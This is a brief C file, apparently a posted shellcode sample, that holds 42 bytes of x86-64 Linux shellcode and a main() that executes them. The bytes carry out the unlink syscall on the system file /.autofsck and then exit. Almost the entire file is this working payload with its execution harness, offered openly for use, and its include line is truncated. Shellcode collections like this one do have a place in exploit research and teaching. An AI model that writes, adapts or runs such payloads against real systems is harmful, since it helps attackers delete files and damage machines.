/* 64-bit x86/linux unlink /.autofsck works fine here. YMMV Greetings --srm */ #include #define SC "\xeb\x19\x48\x31\xc0\x48\x31\xff\x48\x83\xc0\x57\ \x5f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\ \xe8\xe2\xff\xff\xff\x2f\x2e\x61\x75\x74\x6f\x66\x73\x63\x6b" int main () { int (*fun)(); fun = (int(*)())SC; printf("%d\n", strlen(SC)); /* 42 is the answer! :) */ (int)(*fun)(); return 0; }